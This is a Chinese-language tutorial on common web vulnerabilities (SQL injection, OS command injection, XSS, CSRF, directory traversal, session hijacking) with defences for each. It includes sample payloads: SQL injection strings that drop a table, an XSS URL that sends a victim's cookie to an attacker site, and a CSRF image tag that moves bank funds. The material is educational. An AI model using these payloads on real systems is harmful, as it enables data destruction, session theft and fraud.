For investors
股價(jià):
5.36 美元 %For investors
股價(jià):
5.36 美元 %認(rèn)真做教育 專心促就業(yè)
所謂SQL注入,就是通過(guò)把SQL命令插入到Web表單遞交或輸入域名或頁(yè)面請(qǐng)求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。
通過(guò)一下的例子更形象的了解SQL注入:
有一個(gè)Login畫(huà)面,在這個(gè)Login畫(huà)面上有兩個(gè)文本框分別用來(lái)輸入用戶名和密碼,當(dāng)用戶點(diǎn)了登錄按鈕的時(shí)候,會(huì)對(duì)輸入的用戶名和密碼進(jìn)行驗(yàn)證。驗(yàn)證的SQL語(yǔ)句如下:
select * from student where username='輸入的用戶名' and password='輸入的密碼'
如果能夠檢索到數(shù)據(jù),說(shuō)明驗(yàn)證通過(guò),否則驗(yàn)證不通過(guò)。
如果用戶在用戶名文本框中輸入 ' or '1' = '1' or '1' = '1,則驗(yàn)證的SQL語(yǔ)句變成:
select * from student where username='' or '1' = '1' or '1' = '1' and password=''
如果用戶在密碼文本框中輸入 1' or '1' = '1,則驗(yàn)證的SQL語(yǔ)句變成:
select * from student where username='' and password='1' or '1'='1'
以上兩個(gè)SQL語(yǔ)句的where條件永遠(yuǎn)是成立的,所以驗(yàn)證永遠(yuǎn)是有效的。
如果在用戶名文本框中輸入 tom' ; drop table student-- ,則SQL語(yǔ)句變成:
[sql] view plaincopyprint?
1. select * from student where username='tom' ; drop table student--' and password=''
這樣就變成的兩條SQL語(yǔ)句,執(zhí)行完查詢操作,接著直接把student表給刪除了(雙連接符表示注釋)
如何防止SQL注入:
1. 永遠(yuǎn)不要信任用戶的輸入。對(duì)用戶的輸入進(jìn)行校驗(yàn),可以通過(guò)正則表達(dá)式,或限制長(zhǎng)度;對(duì)單引號(hào)和雙"-"進(jìn)行轉(zhuǎn)換等。
2. 永遠(yuǎn)不要使用動(dòng)態(tài)拼裝sql,可以使用參數(shù)化的sql或者直接使用存儲(chǔ)過(guò)程進(jìn)行數(shù)據(jù)查詢存取
3. 永遠(yuǎn)不要使用管理員權(quán)限的數(shù)據(jù)庫(kù)連接,為每個(gè)應(yīng)用使用單獨(dú)的權(quán)限有限的數(shù)據(jù)庫(kù)連接
4. 不要把機(jī)密信息直接存放,加密或者h(yuǎn)ash掉密碼和敏感的信息
5. 應(yīng)用的異常信息應(yīng)該給出盡可能少的提示,最好使用自定義的錯(cuò)誤信息對(duì)原始錯(cuò)誤信息進(jìn)行包裝
6. 采用一些工具或網(wǎng)絡(luò)平臺(tái)檢測(cè)是否存在SQL注入
OS命令注入
OS命令注入和SQL注入差不多,只不過(guò)SQL注入是針對(duì)數(shù)據(jù)庫(kù)的,而OS命令注入是針對(duì)操作系統(tǒng)的。OS命令注入即能夠在服務(wù)器上執(zhí)行任意命令。
如何防止OS命令注入:
1. 不要調(diào)用外部程序。舉個(gè)例子,在UNIX系統(tǒng)上,有一個(gè)叫CGI的程序,可以執(zhí)行sendmail命令來(lái)發(fā)送郵件。也許你的web應(yīng)用程序也有發(fā)送郵件的功能,通過(guò)直接調(diào)用CGI程序發(fā)送郵件非常的簡(jiǎn)單,但是不要這樣做,因?yàn)樵趫?zhí)行sendmail命令的同時(shí),也會(huì)混雜進(jìn)其他OS命令,正確的做法是使用發(fā)送郵件的library。
2. 過(guò)濾調(diào) 、; ,[ ,] ,| ,< ,> ,\ 之類的符號(hào)
3. 設(shè)置用戶的權(quán)限
XSS跨站腳本攻擊
XSS跨站腳本攻擊指攻擊者在網(wǎng)頁(yè)中嵌入客戶端腳本(例如JavaScript),當(dāng)用戶瀏覽此網(wǎng)頁(yè)時(shí),腳本就會(huì)在用戶的瀏覽器上執(zhí)行,從而達(dá)到攻擊者的目的,比如獲取用戶的Cookie,導(dǎo)航到惡意網(wǎng)站,攜帶木馬等。
XSS攻擊場(chǎng)景有以下兩個(gè)方面:
1. Dom-Based XSS 漏洞。攻擊過(guò)程如下
Tom 發(fā)現(xiàn)了#中的Search.asp頁(yè)面有XSS漏洞,Search.asp的代碼如下:
1. <html>
2. <title></title>
3. <body>
4. Results for <%Reequest.QueryString("term")%>
5. ...
6. </body>
7. </html>
Tom 先建立一個(gè)網(wǎng)站#,用來(lái)接收“偷”來(lái)的信息。然后Tom 構(gòu)造一個(gè)惡意的url(如下),通過(guò)某種方式(郵件,QQ)發(fā)給Monica
#/search.asp?term=<script>window.open("#?cookie="+document.cookie)</script>
Monica點(diǎn)擊了這個(gè)URL,嵌入在URL中的惡意Javascript代碼就會(huì)在Monica的瀏覽器中執(zhí)行,那么Monica在#網(wǎng)站的cookie,就會(huì)被發(fā)送到badguy網(wǎng)站中,這樣Monica在# 的信息就被Tom盜了
2. Stored XSS(存儲(chǔ)式XSS漏洞)。該類型是應(yīng)用廣泛而且有可能影響大Web服務(wù)器自身安全的漏洞,攻擊者將攻擊腳本上傳到Web服務(wù)器上,使得所有訪問(wèn)該頁(yè)面的用戶都面臨信息泄露的可能。
攻擊過(guò)程如下
Alex發(fā)現(xiàn)了網(wǎng)站A上有一個(gè)XSS 漏洞,該漏洞允許將攻擊代碼保存在數(shù)據(jù)庫(kù)中,于是Alex發(fā)布了一篇文章,文章中嵌入了惡意JavaScript代碼。其他人如Monica訪問(wèn)這片文章的時(shí)候,嵌入在文章中的惡意Javascript代碼就會(huì)在Monica的瀏覽器中執(zhí)行,其會(huì)話cookie或者其他信息將被Alex盜走。
Dom-Based XSS漏洞威脅用戶個(gè)體,而存儲(chǔ)式XSS漏洞所威脅的對(duì)象將是大量的用戶。
如何防止XSS跨站腳本攻擊:
原則:不相信用戶輸入的數(shù)據(jù)
注意:攻擊代碼不一定在<script></script>中
1. 將重要的cookie標(biāo)記為http only,這樣的話Javascript 中的document.cookie語(yǔ)句就不能獲取到cookie了
2. 只允許用戶輸入我們期望的數(shù)據(jù)。例如:年齡的textbox中,只允許用戶輸入數(shù)字,而數(shù)字之外的字符都過(guò)濾掉
3. 對(duì)數(shù)據(jù)進(jìn)行Html Encode 處理。< 轉(zhuǎn)化為 <、> 轉(zhuǎn)化為 >、& 轉(zhuǎn)化為 &、' 轉(zhuǎn)化為 '、" 轉(zhuǎn)化為 "、空格 轉(zhuǎn)化為
4. 過(guò)濾或移除特殊的Html標(biāo)簽。例如:<script>、<iframe>、< for <、> for >、" for
5. 過(guò)濾JavaScript 事件的標(biāo)簽。例如 "onclick="、"onfocus" 等等
很多瀏覽器都加入了安全機(jī)制來(lái)過(guò)濾XSS(如下圖,在ie中輸入http://www.baidu.com/s?wd=<script>alert(document.cookie)</script>)
CSRF跨站請(qǐng)求偽造
CSRF(XSRF)盡管聽(tīng)起來(lái)很想XSS跨站腳本攻擊,但是它于XSS完全不同。XSS是利用站點(diǎn)內(nèi)的信任用戶,而CSRF則是通過(guò)偽裝來(lái)自受信任用戶的請(qǐng)求來(lái)利用受信任的站點(diǎn)。
與XSS相比,CSRF攻擊不大流行和難以防范,所以比XSS更具危險(xiǎn)性。
以下是一個(gè)CSRF的例子
受害者 Bob 在銀行有一筆存款,通過(guò)對(duì)銀行的網(wǎng)站發(fā)送請(qǐng)求#/withdraw?account=bob&amount=1000000&for=bob2可以使 Bob 把 1000000 的存款轉(zhuǎn)到 bob2 的賬號(hào)下。通常情況下,該請(qǐng)求發(fā)送到網(wǎng)站后,服務(wù)器會(huì)先驗(yàn)證該請(qǐng)求是否來(lái)自一個(gè)合法的 session,并且該 session 的用戶 Bob 已經(jīng)成功登陸。
黑客 Mallory 自己在該銀行也有賬戶,他知道上文中的 URL 可以把錢進(jìn)行轉(zhuǎn)帳操作。Mallory 可以自己發(fā)送一個(gè)請(qǐng)求給銀行:#/withdraw?account=bob& amount=1000000&for=Mallory。但是這個(gè)請(qǐng)求來(lái)自 Mallory 而非 Bob,他不能通過(guò)安全認(rèn)證,因此該請(qǐng)求不會(huì)起作用。
這時(shí),Mallory 想到使用 CSRF 的攻擊方式,他先自己做一個(gè)網(wǎng)站,在網(wǎng)站中放入如下代碼:<img src=”#/withdraw?account=bob&amount=1000000&for=Mallory” />。并且通過(guò)廣告等誘使 Bob 來(lái)訪問(wèn)他的網(wǎng)站。當(dāng) Bob 訪問(wèn)該網(wǎng)站時(shí),上述 url 就會(huì)從 Bob 的瀏覽器發(fā)向銀行,而這個(gè)請(qǐng)求會(huì)附帶 Bob 瀏覽器中的 cookie 一起發(fā)向銀行服務(wù)器。大多數(shù)情況下,該請(qǐng)求會(huì)失敗,因?yàn)樗?Bob 的認(rèn)證信息。
但是,如果 Bob 當(dāng)時(shí)恰巧剛訪問(wèn)他的銀行后不久,他的瀏覽器與銀行網(wǎng)站之間的 session 尚未過(guò)期,瀏覽器的 cookie 之中含有 Bob 的認(rèn)證信息。這時(shí),悲劇發(fā)生了,這個(gè) url 請(qǐng)求就會(huì)得到響應(yīng),錢將從 Bob 的賬號(hào)轉(zhuǎn)移到 Mallory 的賬號(hào),而 Bob 當(dāng)時(shí)毫不知情。等以后 Bob 發(fā)現(xiàn)賬戶錢少了,即使他去銀行查詢?nèi)罩?,他也只能發(fā)現(xiàn)確實(shí)有一個(gè)來(lái)自于他本人的合法請(qǐng)求轉(zhuǎn)移了資金,沒(méi)有任何被攻擊的痕跡。而 Mallory 則可以拿到錢后逍遙法外。
如何防止CSRF跨站請(qǐng)求偽造:
1. 對(duì)于web站點(diǎn),將持久化的授權(quán)方法(例如cookie或者HTTP授權(quán))切換為瞬時(shí)的授權(quán)方法(在每個(gè)form中提供隱藏field)。
2. “雙提交”cookie。此方法只工作于Ajax請(qǐng)求,但它能夠作為無(wú)需改變大量form的全局修正方法。如果某個(gè)授權(quán)的cookie在form post之前正被JavaScript代碼讀取,那么限制跨域規(guī)則將被應(yīng)用。什么叫限制跨域規(guī)則呢?限制跨域規(guī)則就是:如果服務(wù)器需要在Post請(qǐng)求體或者URL中包含授權(quán)cookie的請(qǐng)求,那么這個(gè)請(qǐng)求必須來(lái)自于受信任的域,因?yàn)槠渌蚴遣荒軓男湃斡蜃x取cookie的。上面那個(gè)例子的受信任域就是銀行網(wǎng)站的某個(gè)域,而Mallory發(fā)給Bob的鏈接不是受信任的域。
3. 使用Post代替Get。Post方式不會(huì)在web服務(wù)器和代理服務(wù)器日志中留下數(shù)據(jù)尾巴,然而Get方式卻會(huì)留下數(shù)據(jù)尾巴。
4. 以上三點(diǎn)都是正對(duì)web站點(diǎn)的防御手段,第4點(diǎn)是從用戶的角度的防御手段。通過(guò)在瀏覽其它站點(diǎn)前登出站點(diǎn)或者在瀏覽器會(huì)話結(jié)束后清理瀏覽器的cookie來(lái)防止CSRF攻擊。
目錄遍歷漏洞
目錄遍歷漏洞在國(guó)內(nèi)外有不同的叫法(信息泄露漏洞、非授權(quán)文件包含漏洞、等等)。目錄遍歷漏洞就是在程序中沒(méi)有過(guò)濾用戶輸入的../和./之類的目錄跳轉(zhuǎn)符,導(dǎo)致惡意用戶可以通過(guò)提交目錄跳轉(zhuǎn)來(lái)遍歷服務(wù)器上的任意文件,其危害可想而知。
如何防止目錄遍歷漏洞:
1. 權(quán)限控制
2. 對(duì)包含了惡意的符號(hào)或者空字節(jié)進(jìn)行拒絕
3. 使用絕對(duì)路徑+參數(shù)來(lái)控制訪問(wèn)目錄,使其即使是越權(quán)或者跨越目錄也是在指定的目錄下
參數(shù)篡改
參數(shù)值竄改是網(wǎng)絡(luò)攻擊的一種形式,其中在URL中的某些參數(shù)或由用戶輸入的網(wǎng)頁(yè)形式領(lǐng)域數(shù)據(jù)都在沒(méi)有得到用戶授權(quán)的情況下改變了。這導(dǎo)致瀏覽器指向一個(gè)不是用戶想去的鏈接、網(wǎng)頁(yè)或網(wǎng)站(盡管對(duì)隨機(jī)觀測(cè)者來(lái)說(shuō)它們看上去幾乎一樣)。參數(shù)值篡改被犯罪者用來(lái)獲取個(gè)人或商業(yè)信息。
如何防止參數(shù)篡改:
1. 對(duì)所有參數(shù)值進(jìn)行驗(yàn)證
2. 根據(jù)session id進(jìn)行遷移,參數(shù)使用服務(wù)器端的值
會(huì)話劫持
會(huì)話劫持就是在一次正常的會(huì)話過(guò)程當(dāng)中,攻擊者作為第三方參與到其中,他可以在正常數(shù)據(jù)包中插入惡意數(shù)據(jù),也可以在雙方的會(huì)話當(dāng)中進(jìn)行監(jiān)聽(tīng),甚至可以是代替某一方主機(jī)接管會(huì)話。
我們可以把會(huì)話劫持攻擊分為兩種類型:
1)中間人攻擊(Man In The Middle,簡(jiǎn)稱MITM)
2)注射式攻擊(Injection)
中間人攻擊:簡(jiǎn)而言之,所謂的MITM攻擊就是通過(guò)攔截正常的網(wǎng)絡(luò)通信數(shù)據(jù),并進(jìn)行數(shù)據(jù)篡改和嗅探,而通信的雙方卻毫不知情
注射式攻擊:這種方式的會(huì)話劫持比中間人攻擊實(shí)現(xiàn)起來(lái)簡(jiǎn)單一些,它不會(huì)改變會(huì)話雙方的通訊流,而是在雙方正常的通訊流插入惡意數(shù)據(jù)
還可以把會(huì)話劫持攻擊分為兩種形式:1)被動(dòng)劫持,2)主動(dòng)劫持
被動(dòng)劫持:在后臺(tái)監(jiān)視雙方會(huì)話的數(shù)據(jù)流,叢中獲得敏感數(shù)據(jù)
主動(dòng)劫持:將會(huì)話當(dāng)中的某一臺(tái)主機(jī)“踢”下線,然后由攻擊者取代并接管會(huì)話,這種攻擊方法危害非常大,攻擊者可以做很多事情
如何防止會(huì)話劫持:
1. 限制入網(wǎng)的連接
2. 設(shè)置你的網(wǎng)絡(luò)拒絕假冒本地地址從互聯(lián)網(wǎng)上發(fā)來(lái)的數(shù)據(jù)包
3. 加密也是有幫助的。FTP和Telnet協(xié)議是最容易受到攻擊的。SSH是一種很好的替代方法
【免責(zé)聲明】本文部分系轉(zhuǎn)載,轉(zhuǎn)載目的在于傳遞更多信息,并不代表本網(wǎng)贊同其觀點(diǎn)和對(duì)其真實(shí)性負(fù)責(zé)。如涉及作品內(nèi)容、版權(quán)和其它問(wèn)題,請(qǐng)?jiān)?0日內(nèi)與聯(lián)系我們,我們會(huì)予以更改或刪除相關(guān)文章,以保證您的權(quán)益!